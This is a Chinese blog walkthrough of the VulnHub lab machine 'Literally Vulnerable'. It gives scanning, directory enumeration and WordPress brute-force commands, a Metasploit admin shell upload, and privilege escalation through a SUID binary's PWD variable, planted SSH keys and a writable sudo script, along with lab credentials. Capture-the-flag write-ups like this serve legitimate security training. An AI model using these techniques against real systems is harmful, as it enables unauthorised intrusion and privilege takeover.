『VulnHub系列』UA:Literally_Vulnerable-Walkthrough

這是完成的VulnHub上的第28個靶機。

靶機地址

難度:初級++

靶機發布日期:2019年12月6日

在這裏插入圖片描述

靶機描述:Flags: 3 (local.txt, user.txt & root.txt)
Difficulty Level: Initial Shell (Easy) - Privileges Escalation (Intermediate)
Website: https://ebryx.com
Hint: Maybe, you hasted and left some open holes unchecked?
Literally Vulnerable is supposed to give beginners a taste of real-world scenarios and OSCP machines at the same time! It was inspired highly by the @DC series.

You’re supposed to know the big three (EEEs) Enumeration, Exploitation & Escalation of pentesting to pwn the machine. The machine is supposed to be beginner-friendly and the difficulty level is Easy-Intermediate depending on your knowledge. You need to have enough information about Linux file types & permissions for privileges escalation.

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

  • nmap
  • gobuster
  • metasploit
  • PWD環境變量提權
  • SSH密鑰登錄

0x00、信息收集

靶機IP:192.168.1.130

nmap -sn 192.168.1.0/24

在這裏插入圖片描述

端口和服務

nmap -sS -sV -T5 -A -p- 192.168.1.130

在這裏插入圖片描述

獲取一下ftp上的文件。從文件內容來看好像是要讓我們根據以往密碼生成字典,然後爆破,不過我們先別急,再收集收集其他的信息,信息越多能夠產生的關聯越多。

在這裏插入圖片描述

頁面、目錄枚舉

由於之前nmap掃描的時候已經發現80端口運行的是WordPress,那麼我們這裏就跑跑65535端口上都有啥目錄。之發現了index.html和/javascript,並且/javascript是禁止訪問的,之後對/javascript進行枚舉,最終發現/javascript/jquery/jquery.js

gobuster dir -u http://192.168.1.130:65535 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在這裏插入圖片描述

看看WordPress。發現頁面顯示不正常,這個是WordPress的老毛病,需要我們改一下/etc/hosts,之後再刷新一下就能顯示正常了。

在這裏插入圖片描述

在這裏插入圖片描述

Wappalyzer顯示WordPress版本是5.3(最新版本),但是我還是用wpscan掃描了一下,結果什麼也沒有發現。

搜索了一下沒有發現Nginx 1.14、Apache 2.4.29、vsftpd 3.0.3存在漏洞。

然後使用doe、Doe、admin作爲用戶名,backupPasswords裏面的密碼作爲密碼字典,分別對ftp、ssh、wordpress進行密碼爆破,均無果。

到目前爲止已經把端口和服務、頁面目錄枚舉、ftp匿名登錄得到的信息都嘗試過了,仍然沒有找到下一步的入口。細想一下backupPasswords裏面的密碼和用戶名應該是有效的,只是不知道用在哪裏。常理推斷,65535這個端口應該不會是隨便給的,不可能只有一個jquery.js,所以換個字典對它進行第二次頁面目錄枚舉。枚舉、爆破的時候字典真是至關重要。

使用https://github.com/danielmiessler/SecLists中的/Discovery/Web-Content/raft-large-directories.txt進行枚舉,發現phpcms。

在這裏插入圖片描述

在這裏插入圖片描述

一開始我對上圖中輸入密碼的位置進行爆破,但是沒有得到登錄成功的提示。後來反應過來,這是靶機的另外一個WordPress站點,隨即進行用戶名的枚舉及密碼暴力猜解。

wpscan --url http://192.168.1.130:65535/phpcms/ -e u # 枚舉用戶
wpscan --url http://192.168.1.130:65535/phpcms/ -U user.txt -P pass.txt # 密碼猜解

在這裏插入圖片描述

在這裏插入圖片描述

最終得到maybeadmin:$EPid%J2L9LufO5。登錄之後可以查看加了密碼的文檔,得到了notadmin用戶的口令notadmin:Pa$$w0rd13!&

在這裏插入圖片描述

由於maybeadmin不是管理員賬戶(因爲它的菜單裏面沒有Users模塊),所以我們用notadmin賬戶重新登錄後臺,發現notadmin是管理員角色。所以接下來我們準備reverse shell。

在這裏插入圖片描述

0x01、getshell

WordPress在管理員權限下常見的有兩種reverse shell的方式。第一種是編輯Themes中的php頁面,將reverse shell的代碼加進去,然後監聽端口、訪問php頁面;還有一種就是直接用MSF中的exploit/unix/webapp/wp_admin_shell_upload。因爲之前通過第一種方式reverse shell的靶機寫過好幾個了,所以這裏我們換第二種方式。

在這裏插入圖片描述

獲取shell之後要做的第一件事是使用Python獲取一個tty,不然有些命令是無法執行的,這一步很關鍵。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些沒有安裝Python2,所以需要換成python3 -c

如果你想使用clear清屏,那麼只需要給TERM這個環境變量賦值screen即可

export TERM=screen # 賦值xterm也可以

0x02、權限提升

--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------

/etc/passwd文件中發現doe、john兩個用戶。之後在doe用戶目錄下發現第一個flag:local.txt,但是隻有doe可以讀取,以及一個SUID權限的可執行文件itseasy。執行了一下這個可執行文件,得到的結果是:Your Path is: /home/doe。由於當前所在路徑就是/home/doe,所以猜測這個可執行文件是調用了pwd命令,可以通過PATH環境變量進行提權。

但是在嘗試過之後,發現這裏使用PATH環境變量提權無效。

在這裏插入圖片描述

在這裏插入圖片描述

一個小夥伴說他用NSA出品的那個逆向工具Ghidra得到了itseasy可執行文件的源碼,爭得本人同意後我這裏直接用了他的圖。

在這裏插入圖片描述

看了一下源碼,發現使用了getenv函數,請求的是環境變量是PWD,而不是pwd,注意這兩個是有區別的。PWD是環境變量,而pwd對應的是可執行文件/usr/bin/pwd。如果這裏調用的是pwd,那麼我們可以通過PATH環境變量提權,而這裏調用的是PWD環境變量,所以我們只能通過修改PWD的值進行提權了。

在這裏插入圖片描述

Linux環境變量相關的內容可以查看:Linux環境變量查看和修改

使用PWD提升權限

在這裏插入圖片描述

用上面這個辦法是可以提升到john用戶的權限,但是很多命令執行完之後沒有結果返回,例如ls、cat這樣的命令,cd是可以使用的。但是之後退出通過PWD得到的shell,輸出了之前執行過的命令的結果。於是得到了一個flag:user.txt

在這裏插入圖片描述

在發現了通過PWD提權至john權限之後,執行某些命令沒有返回結果,但在退出(執行exit)之後結果全部輸出的規律之後,我們只能來回在www-data權限和john權限之間切換,去查看一些東西。

由於這麼來回切換實在太麻煩了,所以打算在/home/john目錄下生成.ssh文件夾,然後kali生成密鑰,並將生成的公鑰寫入到/home/john/.ssh/authorized_keys。之後通過SSH使用john賬戶登錄靶機。

在這裏插入圖片描述

在這裏插入圖片描述

之後在john用戶目錄發現了myPassword,最終得到了john用戶的密碼john:YZW$s8Y49IB#ZZJ。執行sudo -l後,發現存在以root權限運行的/var/www/html/test.html,剛看到文件後綴名的時候我是懵的,test.html怎麼執行?

在這裏插入圖片描述

之後發現john沒有權限在/var/www/html創建文件,www-data纔有寫入權限。

在這裏插入圖片描述

www-data創建test.html文件,寫入/bin/bash,賦予可執行權限。

在這裏插入圖片描述

執行test.html後得到root權限,隨後得到剩餘的兩個flag。

在這裏插入圖片描述

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。我是ins1ght.

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章